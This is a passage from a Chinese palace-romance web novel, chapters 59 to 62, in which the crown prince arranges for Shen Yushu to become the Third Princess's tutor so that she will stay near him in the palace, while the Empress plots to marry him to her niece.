沈玉姝走在他半个身位前,她忍不住回头看了一眼,本来想说些什么,却意外瞧见了尚珏眼底倦怠的青黑。 她要说的话顿时哽在喉间。 她都忘了,尚珏作为监国,身上要堆多少大大小小的事。 算了。 沈玉姝无声叹口气,回过头继而往住处去,直到到了屋门外,她的步子才止住。 沈玉姝转过身看他,不太自然地轻轻抿了一下唇,口脂上染上一层薄薄的晶亮:“我到了。” 尚珏适才回神:“等一下。” 他说着,便快步离开。 沈玉姝不解其意地在门口等了一等,莫约半柱香,廊口才复而见到去而复返的人颀长人影。 尚珏手里多了一个紫檀木食盒。 没了在古梅花树下的那股撑起的精神,此时整个人显得有些疲惫。 他走到沈玉姝前站立,提起手肘送了送,将食盒递到她面前:“膳堂的沙弥做午课了,我叫人备了饭,你吃一点,小心胃疼。” 沈玉姝接下食盒,轻“嗯”了声。 尚珏似乎是当真很忙,见她答应,便没再多留,当即几步消失在游廊尽头。 沈玉姝在原地站了一会,抬手推开了屋门,走进去复而关上。 / 沈玉姝将食盒放到桌上打开。 她已经做好了,如果有一点荤腥味,就立刻盖上扔出去的准备—— 但一丁点都没有。 只是一点清粥小菜,恰好安抚了沈玉姝因为晨间呕吐,而有些酸疼的胃。 沈玉姝稍怔了一下。 早晨雪青不在,不该知道自己对荤腥犯恶心,尚珏又是何从得知的? 她想了想,没得到答案,便将这当个偶然。 沈玉姝将菜碗拿出来,最后将竹筷从筷枕上拿出来的时候才发现,下面还有一层被竹夹隔出的夹层。 这是什么? 沈玉姝不解地歪歪脑袋,伸手将竹夹勾出,露出下面的庐山真面目。 ——是一本没署名萧谱。 天底下哪有不署名的琴师,只能是尚珏自己的手笔。 沈玉姝心里说不出是个什么感受,有些酸涨得难受。 她将萧谱拿出来,暂先搁置了还热腾的饭菜,边翻着谱,边往榻边走。 谱子装订有些粗糙,却很结实,没有活字印刷的痕迹,都是笔者一笔一画默出来的谱。 沈玉姝认识尚珏的字,那几封写给她的信,现在还在她的妆匣里躺着。 也因此,她快速且精准地识别出了尚珏的字迹。 他那么忙,是特地抽空出来给她写的谱吗? 沈玉姝咬着下唇一小块死皮,纠结地想,不知该作何回赠。 忽地,门被叩响,连带沈玉姝冒出短暂细微气泡的心思,都陡然停止。 她顺手将萧谱合上放在矮桌上,用一本书盖在上面掩住,走到门口拉开了门。 外头的寒气瞬间卷进来。 沈玉姝掀起眼皮,对上尚琢半垂的眼。 “用膳了吗?”尚琢手里拿着一个食盒,开门见山地问。 沈玉姝看了一眼:“用了。” 其实尚珏准备的午膳还在桌上摆着,一口没来得及动。 尚琢没多说,抬起的手又垂下去。 一张生冷的脸上,生出异样的落寞。 沈玉姝没在意,而是问:“王爷有事?” “有。”尚琢的眼底没什么情绪,直白地说,“今天叫你来内殿的事,是本王没考虑周到。” “本王是担心你在外面受凉,没考虑到其他……深层的问题。” 事实上,不是他的一时疏忽,而是被捧惯的人,从来不会设身处地地去思考别人的处境。 沈玉姝平静地看着他,心里没由来生出一点破坏欲。 她说:“太子殿下已经帮了臣女,王爷何故对臣女道歉。” 她说着,似乎犹然不够,又道:“只是还得劳殿下替臣女给太子殿下道谢了。” 沈玉姝向来遮掩着她与太子的事,如今搬出来压在尚琢头上,她心里没由来的爽快—— 你怎么总是把自己当回事呢? 尚琢听罢哑然。 一时走也不是,立也不是。 沈玉姝问:“恭王殿下还有事?” 尚琢唇角动了动,干涩道:“没。” 沈玉姝:“那就不留恭王了,殿下慢走。” ***** 尚珏最近的确是忙。 扬州贪污一案越扯越大,皇后母家都下了水。 这桩案子原是由他牵起,自然现在也是由他主导结案。 怎么判、判到哪,都需要仔细地估量。 尚珏回到房间,坐在铺着软垫的圈椅上,疲倦地按着额角,沉沉呼出一口气。 他已经一个月不曾睡过一个整觉了。 尚珏捻了一下手指,上面还残留着平安牌微凉的温度。 他忽然想起来,和沈玉姝的第一次见面—— / “哥哥你怎么一个人在这里呀。”四年前的沈玉姝脸上带着还没褪去的婴儿肥,鹿眼缀在小圆脸上,澄澈得吓人。 尚珏适才从宫宴里周旋做戏出来,眼下极累,唇角绷得极紧,木着脸看向还没到他胸口的小女孩。 他无心再和一个不懂事的小女孩装出一副温柔做派。 沈玉姝对他的冷淡浑然不觉,从衣兜里掏呀掏,不知掏出个什么东西,脸上一喜:“找到啦!” 她手握成拳,手背朝上伸到他面前:“哥哥伸手呀。” 尚珏敛着眼,置身事外地看着小女孩叽叽喳喳的样子,没搭理。 沈玉姝扯着他衣角拉了拉,催促道:“哥哥,你快伸手呀。” 小女孩的眼睛像汪了一块吐蕃的湖。 尚珏紧抿着唇,鬼使神差地抬起手,敷衍地张开。 “哒” 一颗裹着普通油纸的糖落进他手心。 小女孩咕咕说:“是家里最好的厨子给我做的牛乳糖,好吃的呀,我想娘亲的时候就吃糖。” 不知哪个字,忽然地戳到尚珏,他面上愣了愣,另一只手伸出,五指张开,在小女孩的脑袋上拍了拍,朝后一撸。 权当安慰。 沈玉姝被他拍的晕乎乎。 尚珏将糖纸剥开,抬手扔进口中,牛乳的味道瞬间漫开,到底是小孩子的口味,对他来说有些太甜了。 “好吃吗?”沈玉姝期待地问。 “太甜”两个字在尚珏口中转了一圈:“嗯,好吃。” 沈玉姝如释重负地笑了,终于说出她的目的:“哥哥,我找不到回宴厅的路啦,你可以送我回去吗?” 尚珏半垂着眼:“…………” “行。” 他隐约记得,很多年前,也有个小姑娘哭成一团拉着他的衣角,和他说自己迷路了。 / 房门被叩响,拉回了尚珏的思绪。 他抬手将桌上的《张仲景伤寒杂病论》合上,沉声道:“进。” 进来的是宁王尚琰。 他容貌和尚珏是两个相反的风格,他生了一双桃花眼,显得风流。 尚琰腿有些跛,他走进来:“哟,打扰你了?” 但一开口就显得油滑玩世。 尚珏用力掐了一下眉心,嗓音有点哑:“没,困。” 尚琰走到桌前,一手撑在桌沿,身子微微前倾,视线在深蓝色的封面上扫过:“《张仲景伤寒杂病论》?” 他语气有些讶异,旋即一笑:“怎么想起学医了?”他边说着坐下。 尚珏笑了笑:“有人不爱看大夫,我就学学。” “哟,看上谁家姑娘了?”尚琰不掩意外,眉头都高高挑起。 前些年皇后试图将自己侄女嫁予尚珏做太子妃,斡旋无果,最后落了水,染了疯病。 外人都说这侄女是个没福的,险些就得了这么好的如意郎君。 但别人不知道,尚琰是一清二楚其中关窍。 这落水,是他替尚珏开了方便。 尚琰原以为尚珏此生都不见得会喜欢上人。 尚珏闻言笑意深了几分,连面上那股倦怠都散了。 他身子微微后仰,一副放松的姿态:“还没个定论。” 尚琰爽朗一笑:“行啊,有定论了请我和我夫人吃饭。” 尚珏笑意不变。 温慧是沈玉姝的表姐,关系亲厚,饭是自然要请的。 他爽快应下:“这是自然。” 两人又说了几句,尚琰转说起了正事:“你今天可看见以云了?” “祈福她没去?” “——去是去了,露个面就跑了。”尚琰失笑,“倒是愈发无法无天了。” “惯的。”尚珏好笑摇头,“父皇知晓了?” “嗯,生了不小的气,让我给她寻个教习娘子,好生管管她才好。”尚琰咋舌琢磨着,“我上哪去找?我刚回京,人都认不全,而且都几个教习娘子了,她都不喜欢,难搞。” 尚珏眉梢微动,想起被他搁置数日的打算。 “沈家大姑娘,沈玉姝怎么样。”尚珏手指点着圈椅,微眯着眼挑起这个话头。 “沈玉姝?”尚琰琢磨一下,“慧儿的表妹,我倒是见过几回,人不错,只不过……她是三皇弟的王妃吧,父皇恐怕不会答应。” 若按他的想法,他自然是愿意这差事落给沈玉姝,既不算流了外人田,也轻而易举了了这桩麻烦事。 可惜其中偏生夹了个尚琢。 “是前王妃。”尚珏淡淡更正。 “好,前王妃。” 尚珏稍改了一下姿势,继续道:“这倒是好解决,以云喜欢她,父皇就不会不依。” “这倒简单,拢个宴让父皇瞧瞧就好,不过——”尚琰神色颇为狐疑,“京中合适的女娘那么多,怎么就偏生要她?” 凭心而论,为了沈玉姝顺理成章接这差事,要拉个宴会,名声上还不一定说得过去,怎么看都不是最合适的人选。 尚珏唇角稍抬了一点,嗓音微跳:“大概是……以云喜欢她吧。” 他说着,抬起一双雾霭的眼微微一弯:“如何?” 教习娘子要时常出入宫中。 尚珏既已要重新收网,已经尝过肉味,又哪里 肯再让沈玉姝缩在沈府里,十天半月不见得能看见一次。 他自是要将人稳当放在身边瞧着守着的。 何况还有一个不成气候的尚琢在旁边。 尚琰视线在桌上安稳躺着的《张仲景伤寒杂病论》上划过,喉间微哽:“……行吧。” 第60章 第60章“夫人知道的吧,我根本…… 不知是不是尚珏当真忙,总之自祈福日后,沈玉姝再没见过尚珏的人影,连消息都没听到。 他好像又恢复了之前那副有分寸的模样。 只有每日差人着紫檀木盒送来的膳食,彰显着尚珏无孔不入的存在。 沈玉姝再见到尚珏的时候已经是二月初三了,第二天就要启程回京。 午间,毫无征兆的,雪青告诉她,“陛下拢了家宴,邀姑娘您一同赴宴。” 家宴与宫宴不同。 宫宴是告慰百官,家宴是亲人团聚。 前者后者,如今的沈玉姝都断不该参宴才是。 但不论沈玉姝如何不解,申末时辰,她还是稳稳当当被雪青送到了偏殿。 外面守着一个年岁偏大的太监。 沈玉姝记得他,那天在陛下跟前与尚琢和离时,就是这个他在旁候着。 好像叫……刘全? 刘全端着拂尘,面上喜气洋洋走上来,微微一欠身:“沈小姐,咱家给您带路。” 沈玉姝抿着唇,轻声道了谢。 刘全笑意不变地没有多说,带着她往屋内走。 沈玉姝走进屋,视线下意识地环一圈,在次首位顿了顿,旋即收回,跟着刘全在自己的位置上落座。 她轻轻颔首:“有劳公公。” 刘全笑呵呵打了个千,又吩咐宫女给沈玉姝备上牛乳茶后,便离开去了外面等来宾。 / 沈玉姝的位置有些偏,她捧着一杯牛乳茶,百无聊赖地小口小口喝着玩。 忽然的,她面前灯光暗下,投出一片阴影。 沈玉姝眉头皱了皱,嗅到一股厌恶的味道。 “你怎么在这。”尚琢微硬的声线响起,坠在沈玉姝耳边,激得后者没忍住皱皱鼻子。 沈玉姝淡声道:“陛下邀的。” 尚琢似乎是对她冷淡的态度有些不满,面色沉了又缓,正要说什么却被人打断—— “尚琢,坐回去。”尚珏称不上缓和的语气,顿时截住了尚琢还没说的话。 沈玉姝澄透的眼珠稍偏了几分,在旁投了半分视线,望见一角衣袍时又转回来,落在影绰的茶杯里。 余光里,她看见尚琢一双手紧了松,攥出一小片青筋,到底放了宽,甩袖回了座。 这一小出戏吸了厅里不少人的注意力,通通落在了沈玉姝身上。 无外乎是看着她和尚琢没断干净的藕丝。 沈玉姝忽然发觉,她能很坦然地直面这些不算好、但也不算坏的视线。 与以前和尚琢尚未和离时不同,那时她满腔委屈,只觉得自己平白做了他人谈资,如今再遇见,只坦然发觉丢人的是尚琢—— 人人不敢谈论皇亲国戚又如何,桩桩不入流的事,又如何服众、拿得上台面? 沈玉姝随意对了个视线。 那人稍愣了几分,友好地点点头。 还不等她回应,一个小影子像发射的弹珠一样,射进她的怀里,“姐姐!”俏生生的声音响起,随即她的腰被人一把环住。 沈玉姝身子最近弱得很,被这么一撞,顿时眼冒金星。 她下意识地弓了一下腰,避开了腹部。 “姐姐我好想你呀。”女孩拉着她的手,一点一点往她怀里拱。 沈玉姝这才缓过那股晕乎劲,看清怀里的人是三公主以云。 她稍稍敲了一下女孩的头,不疼,像哄人。 沈玉姝轻声:“公主殿下怎么在这?” 以云道:“看见姐姐啦,以云想跟姐姐坐。” 她话音落下,给旁边随侍宫女急得险些哭出来。 若是陛下知道她没看好公主,到时候又是她受罚。 这边声音不小,尚珏坐在次首位听了真切。 他视线和以云撞了一下,眼睛微微弯起。 尚琰稍靠过来身子,附耳:“你教以云的?” 尚珏八风不动:“可能吗?” 尚琰:“……” 当然可能。 正说着,平德帝这才姗姗来迟。 他看着赖在沈玉姝怀里的以云,抬手免了众人的行礼,稍偏了视线与一旁的随侍宫女道:“她既喜欢,便让她在那好了。” 平德帝笑了几声:“只是劳烦沈姑娘替朕带孩子了。” 沈玉姝扶住以云身子避免她摔倒,然后站起身行礼:“以云很乖,没有劳烦的说。” …… 家宴随着平德帝的到来开席。 尚珏坐次首位,眼底带着淡淡的青黑,脸颊瘦削了三分。 温慧可能因为怀孕不适,只有尚琰一人在。 沈玉姝视线收回来,指尖动了动,忽然的,以云凑过来,趴在她耳边小声悄咪咪说:“姐姐,你和我二哥是什么关系呀?” 沈玉姝心脏狂跳,几乎化为实质被她的耳朵听到。 她听见自己强装镇定、有些干涩的声音:“二哥?” 徒劳的复述反问,是沈玉姝如今贫瘠的词汇里尚且犹存的句子。 以云狡黠地撇撇嘴:“姐姐你就别骗我啦,我都知道了。” “上次在梅花树下面,我都看见了嗷。” 沈玉姝抿了抿唇。 “而且那天晚上,其实是我二哥让我去找你的。” 以云眯着圆眼咯咯笑了两声:“他说姐姐一个人好无聊的,让我去陪你玩呀。” “不过姐姐你好漂亮,你要和我的笨蛋二哥好好的呀。” ** 一场家宴散的时候,沈玉姝将以云送到随侍宫女手上。 以云笑容甜甜的跟她挥手,乖顺地跟宫女离开。 直到这时,沈玉姝才松下气来。 ——这其实是她与尚珏的事,第一次被外人知道。 而且还是皇亲。 即便只是一个孩子,沈玉姝也紧张得缓不过气来。 她在廊下站了一会,直到冷风将她身上的冷汗吹干,她才恍然地回过神来,准备离开。 正要抬步,身后一道尖细的声音传过来:“沈小姐留步。” 沈玉姝心脏不可抑制的空了一拍。 她恍若惊弓之鸟,瞧瞧瑟缩了一下。 回过头,发觉是刘全。 刘全欠身:“姑娘,陛下请您过去。” 沈玉姝那口气骤然吊在喉间,“……好。” / 沈玉姝走进书房,先是看见立在承柱旁的尚珏。 后者肩线平直,鹤立在稍显暗的书房里,半现的影子无端拉出生冷的情绪。 沈玉姝收回视线,走上前去福身道:“臣女见过陛下、太子殿下。” 平德帝略略颔首:“起来吧。” 他扬扬下巴,刘全搬了凳上来。 沈玉姝敛眸坐下。 平德帝道:“以云那孩子平日里和个混世魔王似的,倒是少见她这么喜欢一个人。” 沈玉姝紧张一路的情绪骤然松掉。 她笑容松快了几分:“公主殿下性子好,单纯活泼,臣女也挺喜欢的。” 平德帝笑着摆摆手:“得了,她已经吓跑……第几个教习娘子来着?” 尚珏似乎是笑了一下:“第五个。” “哦,第五个了。”平德帝说到这,头疼欲裂,“朕是管不住了,以前宁王和太子还能压着点,现在比太子小时候还难管。” 尚珏小时候很难管? 沈玉姝有点想象不到那个模样。 但平德帝没有在这个事情上多做停留,而是唤人奉了茶,笑说:“一不小心扯远了。” 他转回了话头,“今天朕叫你来,就是问一问,你愿 不愿意来做以云的教习娘子。” 沈玉姝稍抿了一下唇,她思绪有些顿,隔了好一会才慢吞吞地说:“臣女愚钝,恐怕教不好公主。” “何必谦虚。”平德帝道,“你的书艺好,朕都知晓,年年皇后都夸赞你献艺的琴技,而且——以云喜欢你,你若是能管着以云就够,之外的教习,你尽力而为就好。” 沈玉姝眼尾一跳,忍不住偏眼看了下置身事外的尚珏。 她对什么是教习娘子一清二楚,和公主同住,几乎是住在宫中。 那全然是尚珏的地盘。 倏然的。 尚珏如有所感的回了头,勾起一边唇,眼底带着细碎的光,轻飘飘看了她一眼,又转回去。 沈玉姝噎了一下。 平德帝等了一会,没得到答案,又道:“沈姑娘?” 沈玉姝回神,嗓音微乱:“嗯……陛下恐怕不行。” 平德帝眉头紧紧皱起,显然是没料到她会拒绝,“为什么,朕希望你能好好考虑再回复朕。” “臣女并不会教**殿下聪颖,臣女担心教坏了她,况且……”沈玉姝抿了一下唇,眼睫一垂,纤长的睫毛被烛火投下一片阴影在眼下,“公主殿下当真找不到教习了?” 说到这里,平德帝疲倦地按了按眉心:“各种人都试了,谁都能被她气走,调皮恶作剧也就算了,有一个,以云从头到尾都没去见过。” 他轻轻叹了口气:“朕是没辙了,也不知道幼时乖巧的小家伙怎么这么皮,上月翻墙偷爬出宫,给她母妃险些气病。” 沈玉姝结舌。 她对以云印象其实很不错,她没办法对一个让长辈束手无策的小姑娘袖手旁观。 即便她知道,这件事离不开可能礼离不开尚珏的手笔。 沈玉姝咬着下唇,纠结一会,道:“……好吧,臣女尽力。” / 书房出来时,已经有些晚了,平德帝兴致极好地拉着沈玉姝安排了一下以云的学业规划。 沈玉姝心里装着事,有一搭没一搭应,等到她离开时,平德帝又将尚珏留了下,独留她一人出去。 沈玉姝裹着大氅,孤立在廊下回角。 她半张脸埋在大氅里,露出一双被冻得发红的眼,身后月光托得她整个人有些发空的白。 不知站了多久,书房门再次被复而打开。 一道颀长的人影从转来这边。 沈玉姝抬起眼,欺身向前几步,忽的一把攥住来人的手,拉着扯到另一条无人的游廊处按住。 她的衣摆被风吹的打卷。 沈玉姝扬起一张被吹得发白的脸,咬着牙,声音脆生:“是你吧,尚珏。” 沈玉姝的身高只到尚珏的肩膀,后者需要低着头看他。 尚珏眼睛褪去那层伪装出的皮后,实际冷硬得很,眼皮微垂时难免显得置身事外。 事情败露,尚珏丝毫没有一点亏心。 他笑得过分坦荡,甚至伸手卷起了沈玉姝一绺滑到胸口的头发。 他笑:“夫人知道的吧,我根本就离不开你。” 沈玉姝哑然失声。 尚珏的坦荡,让她心里最底下的喜欢无所遁形。 她忽然知道为什么今天在家宴上,她对那些打量、好奇的眼神视若无睹了。 尚珏太坦荡了,喜欢和欲望都从不掩饰,连带着从前胆小的她,都多了几分泰然。【魔蝎小说 mo xie xs .c om】 60-70 第61章 第61章陪着你 ——修了一点点,不影响阅读。 初四清晨。 沈玉姝收拾了东西后辞别雪青,独往止马碑走去。 她惯性地绕了一圈,寻着先前自己来不言寺时的那驾马车,却临了撞上一个弹射飞来的小影子。 沈玉姝下意识地弯下腰略护了小腹,将人接住:“以云,你怎么来啦?”她温声稳着。 以云梳着一对稚气的羊角辫,睁着一双圆溜的眼睛,从沈玉姝怀里仰起脸:“父皇让我来找娘子,娘子和我坐一驾马车。” 闻言,沈玉姝下意识的就想拒绝,让她在还未完全做好心理建设的当下,和以云独处那么许久,她肯定是不自然的。 但她的拒绝还没说出口,就听前方传来一道微不可查的轻沉脚步声。 尚珏在两人前方一尺远的距离站定。 他伸手拎起以云的后脖,提起拎到一边,神色淡淡:“别往沈娘子身上扑,她不舒服。” 以云不知道沈玉姝身子有疑的事,登时不好意思地吐了吐舌头。 “没关系。”沈玉姝安慰说。 尚珏松开桎着以云的手,直起适才桎梏以云而弯下的腰,鹤身立着视线落在沈玉姝身上,声音清淡,瞳孔黑沉:“你不愿意就不去,孤给你安排马车。” 嗯……? 沈玉姝听着他的话,反应了一会,才意识到他说的是以云那句“父皇让娘子和我坐一驾马车”。 “算了。”沈玉姝摇摇头,“回京之后就要给以云上课,提前熟悉一下也好。” 她都这么说了,尚珏便没有再劝,一行人往止马碑走去,他落后了一臂长的距离,看着沈玉姝拉着以云的手走在前面。 尚珏不紧不慢地走在后面,他空了许久的那股情绪忽然落满。 止马碑。 公主的轿辇排在前头,几人很轻易地就找到了。 沈玉姝先送了以云上马车,自己拎着裙摆踩着马凳往上走。 但公主的轿辇,比起她熟悉的高低有差异,脚上一绊,险些摔到,她下意识伸手往旁的一扶,抓到一个温热的物体时才勉强稳住身。 沈玉姝被这一下弄得心跳漏一拍,立了身后就要去道谢。 她只当是哪个下人,却没料转眼对上尚珏含着一点极轻笑意的眼。 “当心。”尚珏说着,看着她站稳后便收了手,极有分寸地退后一步。 沈玉姝抿了一下唇,稍点了下头,弯身进了轿辇。 她安抚着狂跳的心脏,屈膝在软垫上坐下。 她很难形容她现在的情绪,像即将到临界的薄膜,涨极大,外面还晃着刮风落雨。 沈玉姝移开注意,平复呼吸:“以云,不要岔开腿坐。” / 回京后,沈玉姝先在沈府住了三五日。 平德帝安排的教习时间是从二月十一开始,沈玉姝便先和沈策安排好了时间,再收拾了东西,才在那天清晨起床准备入宫。 沈玉姝从未教过别人什么东西,自己有时候都学不明白,但好在她做学生经验足,多多少少学到了点教习的方式,也让她稍安心了些,不至于两眼一抹黑去给教公主。 沈玉姝是辰末出的门。 她忖度着时间,不想第一天就给以云太大的压力,担心她生了逆反心。 她走出大门,环绕一圈,没见到沈府马车的影,只见到一驾熟悉的马车,前檐坠着一块“珏”字令牌。 陈肆显然也看到了她,他走上前来抱拳:“小姐,殿下来接您入宫。” 闻言,沈玉姝下意识地看了一眼紧闭的支摘窗,琉璃窗花上隐约透出一个人影。 她只隐约猜到尚珏会派人来接她,没猜到尚珏会下了朝后亲自来接。 沈玉姝抿了一下唇:“……好。” 她走上车。 原本横在内外室的平推门已经被撤掉了,沈玉姝一眼就将里面的摆件,和端坐在桌边的人看了清楚,没了那平推门,这车厢里竟显得有些空。 尚珏也听见她上来的动静,他放下手中的折子抬起眼,露出一个堪称温和的笑,“坐。” 沈玉姝没什么扭捏的走到他身边坐下。 一时间好像又回到了以前的相处模式,她轻而易举能闻到尚珏身上那股沉淡的香味。 她坐在软垫上,目不转睛地理了理衣角,好像想借此多寻些事情做。 尚珏视线所及处,全是沈玉姝。 她鲜少穿这种比较重的颜色,显得人比实际年纪大上两岁。 尚珏看着新鲜,没忍住多看了几眼,好一会才不紧不慢地跟她说:“以云寅时就起了。” “嗯?”沈玉姝抬眼。 “她很期待今天的课业。”尚珏弯了一下眼,此时的马车已经咕噜噜动起来,“所以你不用担心给她压力,她的确喜欢你,不是我哄骗她。” 尚珏说这话的时候,上半身极放松地向后靠在,手肘轻轻搭在椅背沿上。 “我看你现在才出来。”尚珏轻笑了声,“如果我会错你的意思了,那我道歉。” 沈玉姝唔了声,含糊说:“没有。”然后又说,“我知道了。” 她应完后,两人就没再多说了,马车一 路驶进宫里,停在止马碑旁。 沈玉姝自然搭着尚珏伸过来的手臂走下车。 东宫和以云在的极华殿是两个方向,沈玉姝便顺势回了眼道:“今日有劳殿下了,我就先去……” “我也去。”尚珏言简意赅地吐出几个字,打断她的话。 啊……? 沈玉姝神色愣愣,微张着唇,唇色滟潋。 有些呆。 尚珏看了分明。 半垂着眼,视线凝在她露出的一小截舌尖上,旋即收回视线,从胸腔冒出一段短促的笑:“不行吗?孤陪妹妹上课,不伤往俗吧。” 第62章 第62章“在这等孤” 十一的天已经稍稍有些回暖了,沈玉姝换掉了厚重的大氅,穿了件轻便的披风,随风一卷,轻而易举扫到尚珏的小腿上。 隔着长靴,好似挠痒。 尚珏微垂着眼,靠近了几步。 但这点不明显的接触,像是被发现了一样。 沈玉姝敛眼拽住不听话的衣摆,往前扯了扯,那点晃荡的尾巴就乖顺不动了。 尚珏眉头微挑,没多说。 极华殿外,旧候的以云远远看见来的人影时,便提着裙子吧嗒吧嗒跑过去,正要一把抱住沈玉姝,就看见后方环胸似笑非笑的尚珏。 伸出去的手一抖,悄咪咪收回来了。 以云瘪着嘴:“沈娘子。” 沈玉姝头也不回道:“你别吓她。” 然后蹲下身抱了抱以云:“我听太子殿下说了,以云今天起得很早?” 以云偏眼偷看了下一脸意外无奈的尚珏,然后点头装乖:“很早喔。” 沈玉姝弯起一双鹿眼笑了笑,露出一颗有些稚气的虎牙。 这一笑,倒显得一身特地选的重色有些不合时宜了,但她人生的好看,怎样也撑得起来。 她站起身,看向一旁的宫女。 宫女轻轻屈膝问安后道:“都准备好了,奴婢带娘子进去。” “等等。”尚珏忽然出声,几人都抬眼看向他。 尚珏抬手撕开黏在沈玉姝腿边的以云,然后说:“你带三公主进去,先温书,孤带沈娘子去住处。” 他这安排,宫女显然愣了一下。 毕竟她从未见过太子和哪个女子关系过密,遑论带着去住处这种事。 但她很快反应过来,低眉顺眼地应下,然后拉着明显不满的以云进了殿。 沈玉姝在旁站着,待人走后,她眉头才轻轻拧起:“我这是第一天给以云上课。” 她一张细腻清纯的脸微微皱起,显然是不满。 尚珏看着好笑:“再上课,住处不能不去吧。” 他伸手,拇指食指捏着揉了一下沈玉姝的耳垂,被遮在后面的拇指指节隐秘地摁了一下那颗红痣。 尚珏声音有些哑,“孤等会回东宫,宫女难免疏漏,先带你去一趟。” 沈玉姝被他捏得耳热,竟一时愣着忘了避开。 直到他话音落下,沈玉姝才意识到耳垂的热度还在,她愣了下,偏脸避开了尚珏的手。 “……知道了。”沈玉姝说。 她说完,才惊觉这是在宫里,忙的视线一转,唯恐适才被人看见了。 尚珏将她的动作尽收眼底。 他闷笑几声,“陈肆清人了,走吧,夫人。” 听他的话,沈玉姝捏着衣摆的手攥的更紧了几分,她嘴唇翁动,“你别在宫里乱喊。” 闻言,尚珏一边眉头高高挑起。 意外的,他没多言,极好说话地嗯了声,“好啊。” 沈玉姝觉得有些奇怪,但没多想,走快几步跟上尚珏的步子。 尚珏人生的高,迈着步一步顶沈玉姝两步,半条路沈玉姝都得小跑着跟上。 她最近莫名累的快,这么几步已经开始上喘,不得不开口,“你走慢点呀。” 尚珏唇角微挑,缓了点步子。 沈玉姝总算能缓缓气,又走了将近一炷香的时间才到偏殿。 芳菲殿。 外面都是普通的装潢,与普通大殿一般无二,直到走进去,满园绿萼梅的味道扑上来,沈玉姝才惊觉一丝不同。 她想起那天以云和她说,尚珏把家里的花移完了的事。 沈玉姝有些错愕地问:“……你这是,御花园的吗?” 她本意只是担心尚珏移完了御花园的花,被平德帝责罚。 但尚珏不知意会到什么了,他一边眉挑起,一边眉微皱,说:“夫人怎么会这么想?” 沈玉姝说:“以云说……” “邑城的绿萼是时间紧,从江南岁贡抽调的,芳菲殿的是孤遣人走陆路去江南挪回来的。”尚珏似乎被气笑了,费劲心思栽回来的花,被当成是平德帝的。 尚珏觉得合该换一个品种花才对。 沈玉姝被他坦荡的奢靡堵得说不出话,好半天才道:“绿萼都快谢了……” “还栽了海棠,过两月就开了。” 沈玉姝被他的悖论堵得无话,只能随他去了。 她嘴唇动了动,无声地吐了几个字:“胡说八道。” 尚珏挑起眉,像是被逗笑。 他正要说什么,身后陈肆小跑着过来,在他耳边耳语几句,尚珏原本脸上的笑意缓缓褪去。 沈玉姝原本那点还欲说什么的情绪也忽的散了,她见尚珏轻颔了下首,然后与她说,“父皇寻我,我先走了。” 还不待沈玉姝答,尚珏又道:“课业结束后来芳菲殿,东宫小厨房的厨子备了午膳。” 沈玉姝没与他多纠结,点点头应下:“好。” 尚珏见她应,眉眼舒展几分,随即带着陈肆往外走去。 见他离开,沈玉姝只在芳菲殿稍留了会,前后院转了转,把路记了个七八后也紧回了极华殿。 ***** 御书房离皇子皇女所居隔得不算远,但尚珏走得偏慢。 陈肆跟在他半步后,面色纠结,想想还是问:“殿下,有句话属下有些疑虑。” “憋回去。”尚珏淡声。 陈肆神色古怪了半晌,憋了又憋,末了嗐一声,脖子一梗道:“殿下,您和沈小姐是……和好了?” 他是看着尚珏和沈玉姝纠缠来的,甚至两人真正的第一次厮混,他也在外守着。 他是亲眼看着沈玉姝走进太子的卧房,第二日甚至是他安排人送沈玉姝回的府。 所以他不免对两人情况更操心一些。 尚珏听了他的话,眼神稍偏了几分,嘴角弯出一个说不上是好还是不好的弧度。 半晌听他道:“没有。” 陈肆更懵了:“那……?” “还在追。”尚珏笑了声,坦荡地舒开眼,好像说到有关沈玉姝的事,就让他心情极好似的。 陈肆被他的话说的一震,太子殿下什么时候会花心思在姑娘上了? 他正要再问个清楚,两人却已经走到了御书房前,后头的话便只得吞了下去,走上前去和刘全通报。 尚珏候在檐下,不多时御书房门再开,刘全轻轻躬身,恭敬道:“殿下,陛下和皇后娘娘在里头等您。” 皇后?她怎么也会在。 尚珏心里奇怪,面上却不动声色地颔首,抬步走进屋内。 他腰上珮着惯常来的白玉佩,两块温玉一撞,撞出一串极清脆的声音,桌边研墨的皇后敏锐地抬起眼,一双和尚琰如出一辙的桃花眼微微弯起:“珏儿来了。” 尚珏有礼地问好:“父皇、母后。” 他声音温润有礼,自尚珏加冠之后,一直都是京中极抢手的女婿。 容貌俊俏位高权重,最尤其的,是极温润有礼的性子。 皇后看着尚珏的模样,手上研墨的动作不甚明显地顿了一顿。 她的亲生子尚琰残了腿,不可能逐鹿储君,而押宝的尚琢一番幺蛾子折腾下来,储君之位已然无望。 而且如今她母家卷进了贪污一案,根基有损,连带着她都被平德帝疏远,现下唯一的破局之法便是抓牢尚珏,绑住下一任帝王,只要阚家出了太子妃,至少还能再保二十年荣华。 想到这,皇后细白的手紧了紧。 她决不允许阚家在她这一代衰败。 想到这,她轻轻柔柔笑了一下:“陛下,还没看完折子?” 平德帝落下最后一个批注,疲倦地揉了揉额角,抬起头指了下早备在下首的圈椅:“坐吧。”他转头,“皇后也坐。” 尚珏低道了声谢,在圈椅上坐下,皇后也在侧首落座。 几人先是沉默了好一会,皇后才悠悠笑着开了口:“珏儿近日倒是劳累了,京中好些诰命娘子进宫,跟本宫左打听又打听呢。” 尚珏眸色微动,察觉到今日突然谈话的一丝不对。 他冷静地等着下文。 就听皇后道:“珏儿今年该满20了,早是该择亲了。” 平德帝颔首,“宁王孩子还几月便生了,太子是该选亲了,开枝散叶才是儿孙本分。” 尚珏不动声色地弯了弯唇,没有多言。 皇后道:“珏儿可还记得你三表妹?前些年……” “不记得。”尚珏冷硬打断。 粗|暴打断皇后说话,这已经算是大不敬了。 但一旁的平德帝听完也没有追究的意思,只拨着手中茶碗拂开浮沫,悠悠呷了一口茶。 从尚珏的地方,能清楚地看见皇后微硬的下颌角。 他勾了一下唇角,漫出一点嘲意。 皇后脸上的尴尬好像就只在那一瞬间,一闪而过了。 她偏过脸咳了几声,苍白的脸涌上点气血,然后自顾缓着气说:“不记得也无事,过几日棠棠进宫,见见也不错。” 她说着像是想到什么:“听说沈家姑娘要进宫给以云授课?” 平德帝鼻腔里挤出一个嗯。 皇后笑了笑:“这倒不妥,琢儿时不时进宫,这被人瞧见像什么样,棠棠也要进宫常伴臣妾,就让她去教以云好了,正好还和珏儿培养培养感情。” 她说的轻飘,三言两语安排好了三个人的前后去处,大抵是一直没听见尚珏和平德帝的反驳,她说的越发顺畅起来,连带那点适才犹存的病态咳意都不见踪影。 